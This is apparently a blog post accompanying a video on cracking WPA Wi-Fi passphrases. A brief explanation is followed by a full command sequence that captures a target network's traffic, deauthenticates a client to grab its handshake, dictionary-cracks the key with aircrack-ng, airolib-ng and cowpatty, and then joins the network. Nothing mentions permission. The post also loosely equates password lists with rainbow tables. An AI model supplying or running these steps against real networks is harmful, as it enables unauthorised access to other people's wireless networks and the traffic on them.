Ok, the previous video was kind of out dated, so I posted a new one. Credits to g0tmi1k. This video goes beyond just cracking wpa, it also shows how the different tools perform. This video explains the methodology really simple. Let me say that cracking WPA is not like cracking WEP, in WEP you’re exploiting a vulnerability in the way the encryption algorithm is implemented, but in WPA the only vulnerability will be in the strength of the user passphrase. Yes you’ve guessed it, when cracking WPA basically what you’re doing is brute-forcing the user password, in other words the success of your attack will depend on your dictionary or password list. If the user’s passphrase is not in your dictionary, you will never crack the WPA key. There are several types of WPA dictionary list out there, but I highly recommend using rainbow-tables which can be several Gigs in size. How to find them?… Google is your friend!

Steps:

airmon-ng start wlan0
airodump-ng mon0

airodump-ng --channel 5 --write output --bssid 00:24:B2:A0:51:14 mon0

aireplay-ng --deauth 1 -a 00:24:B2:A0:51:14 -c 00:14:17:94:90:0D mon0
aircrack-ng output-01.cap -w /root/tools/dictionaries/webster-dictionary.txt

airolib-ng crackwpa --import passwd /root/dictionaries/webster-dictionary.txt
airolib-ng crackwpa --import essid essid
airolib-ng crackwpa --stats
airolib-ng crackwpa --clean all
airolib-ng crackwpa --batch
airolib-ng crackwpa --verify all
aircrack -r crackwpa output-01.cap

cowpatty -s g0tmi1k -r /root/output-01.cap -f /root/dictionaries/webster-dictionary.txt

genpmk -s g0tmi1k -d /root/output-hash -f /root/dictionaries/webster-dictionary.txt
cowpatty -s g0tmi1k -r /root/output-01.cap -d /root/output-hash

wpa_passphrase g0tmi1k precivilization > wpa.conf
wpa_supplicant -Dwext -iwlan0 -c /root/wpa.conf
dhclient -r
dhclient wlan0
ping 192.168.1.1

Video: